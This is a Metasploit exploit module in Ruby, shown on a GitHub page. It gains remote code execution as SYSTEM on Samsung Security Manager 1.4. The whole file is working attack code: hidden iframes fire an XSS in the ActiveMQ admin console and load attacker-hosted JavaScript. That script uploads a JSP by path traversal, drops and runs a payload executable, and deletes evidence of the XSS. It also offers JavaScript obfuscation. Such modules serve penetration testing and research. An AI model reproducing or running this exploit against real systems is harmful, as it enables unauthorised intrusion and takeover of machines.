-
Notifications
You must be signed in to change notification settings - Fork 13.9k
/
samsung_security_manager_put.rb
238 lines (208 loc) · 7.85 KB
/
samsung_security_manager_put.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Samsung Security Manager 1.4 ActiveMQ Broker Service PUT Method Remote Code Execution",
'Description' => %q{
This is an exploit against Samsung Security Manager that bypasses the patch in ZDI-15-156 & ZDI-16-481
by exploiting the vulnerability against the client-side. This exploit has been tested successfully using
IE, FireFox and Chrome by abusing a GET request XSS to bypass CORS and reach the vulnerable PUT. Finally
a traversal is used in the PUT request to upload the code just where we want it and gain RCE as SYSTEM.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <mr_me[at]offensive-security.com>', # AWAE training 2016
],
'References' =>
[
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-15-156/' ], # client vs server
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-16-481/' ] # client vs server
],
'Platform' => 'win',
'Targets' =>
[
[ 'Samsung Security Manager 1.32 & 1.4 Universal', {} ] # tested on 1.32 & 1.4
],
'DisclosureDate' => "Aug 05 2016",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
])
end
# this is because String.fromCharCode has a max of 65535 func args
# thanks to sinn3r for his help with the Array->String conversion
def encode_js(string)
i = 0
encoded_0 = []
encoded_1 = []
string.each_byte do |c|
if i > 65534
encoded_1 << c
else
encoded_0 << c
end
i += 1
end
if i > 65534
return encoded_0 * ",", encoded_1 * ","
else
return encoded_0 * ","
end
end
# tested on Firefox v46.0.1 (latest)
# tested on Chrome v50.0.2661.102 (latest release)
# tested on IE v11.0.9600.18314 (latest)
def on_request_uri(cli, request)
js_name = rand_text_alpha(rand(10)+5) + '.js'
payload_url = "http://"
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/" + js_name
# we deliver the JavaScript code that does the work for us
if (request.uri.match(/.js/))
return if ((p = regenerate_payload(cli)) == nil)
# dont exploit again otherwise we get a zillion shells
return if session_created? or @exploited
jsp_name = rand_text_alpha(rand(10)+5) + '.jsp'
exe_name = rand_text_alpha(rand(10)+5) + '.exe'
# clean just the jsp, because the exe dropper will be in use
register_files_for_cleanup("../../webapps/admin/#{jsp_name}")
# our jsp upload, ensuring native code execution
jsp = %Q|<%@ page import="java.io.*" %>
<%
ByteArrayOutputStream buf = new ByteArrayOutputStream();
BufferedReader reader = request.getReader();
int tmp;
while ((tmp = reader.read()) != -1) { buf.write(tmp); }
FileOutputStream fostream = new FileOutputStream("#{exe_name}");
buf.writeTo(fostream);
fostream.close();
Runtime.getRuntime().exec("#{exe_name}");
%>|
# encode the payloads
encoded_exe = encode_js(generate_payload_exe(code: payload.encoded))
encoded_jsp = encode_js(jsp)
# targets
jsp_uri = "http://localhost:8161/fileserver/..%5c%5cadmin%5c%5c#{jsp_name}"
upload_uri = "http://localhost:8161/admin/#{jsp_name}"
# this code does the PUT, then uploads/exec native code and then cleans the XSS out :->
js_content = %Q|
function do_put(uri, file_data) {
var file_size = file_data.length;
var xhr = new XMLHttpRequest();
xhr.open("PUT", uri, true);
var body = file_data;
xhr.send(body);
return true;
}
function do_upload(uri, file_data) {
var file_size = file_data.length;
var xhr = new XMLHttpRequest();
xhr.open("POST", uri, true);
var body = file_data;
// latest ff doesnt have sendAsBinary(), so we redefine it
if(!xhr.sendAsBinary){
xhr.sendAsBinary = function(datastr) {
function byteValue(x) {
return x.charCodeAt(0) & 0xff;
}
var ords = Array.prototype.map.call(datastr, byteValue);
var ui8a = new Uint8Array(ords);
this.send(ui8a.buffer);
}
}
xhr.sendAsBinary(body);
return true;
}
function bye_bye_xss(uri){
var xhr = new XMLHttpRequest();
xhr.open('GET', uri.replace(/\\+/g,"%2b"), true);
xhr.send();
}
function clean_up(){
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var els = xhr.responseXML.getElementsByTagName("a");
for (var i = 0, l = els.length; i < l; i++) {
var el = els[i];
if (el.href.search("http://localhost:8161/admin/deleteDestination.action") == 0) {
bye_bye_xss(el.href);
}
}
}
}
xhr.open('GET', 'http://localhost:8161/admin/queues.jsp', true);
xhr.responseType = "document"; // so that we can parse the reponse as a document
xhr.send(null);
}
function exploit(){
do_upload('#{upload_uri}', String.fromCharCode(#{encoded_exe[0]}) + String.fromCharCode(#{encoded_exe[1]}));
clean_up();
}
function start() {
do_put('#{jsp_uri}', String.fromCharCode(#{encoded_jsp}));
setTimeout(exploit(), 4000); // timing is important
}
start();
|
if datastore['OBFUSCATE']
js_content = ::Rex::Exploitation::JSObfu.new(js_content)
js_content.obfuscate(memory_sensitive: true)
end
print_status("Sending javascript...")
@exploited = true
send_response_html(cli, js_content, { 'Content-Type' => 'application/javascript' })
return
end
if datastore['OBFUSCATE']
js_content = ::Rex::Exploitation::JSObfu.new(js_content)
js_content.obfuscate(memory_sensitive: true)
onlick = ::Rex::Exploitation::JSObfu.new(onlick)
onlick.obfuscate(memory_sensitive: true)
end
# we can bypass Access-Control-Allow-Origin (CORS) in all browsers using iframe since it makes a GET request
# and the response is recieved in the page (even though we cant access it due to SOP) which then fires the XSS
html_content = %Q|
<html>
<body>
<script>
function fire() {
var a = document.createElement('script');
a.type = 'text/javascript';
a.src = '#{payload_url}';
document.body.appendChild(a);
};
var code = fire.toString() + ";fire();";
var evalCode = 'eval("' + code + '")';
var if1 = document.createElement("iframe");
if1.src = 'http://localhost:8161/admin/browse.jsp?JMSDestination="%2b' + evalCode + '%2b"';
if1.width = 0;
if1.height = 0;
document.body.appendChild(if1);
</script>
<script>
window.onload = function() {
var if2 = document.createElement("iframe");
if2.src = "http://localhost:8161/admin/queueGraph.jsp"
if2.width = 0;
if2.height = 0;
document.body.appendChild(if2);
};
</script>
</body>
</html>
|
print_status("Sending exploit...")
send_response_html(cli, html_content)
handler(cli)
end
end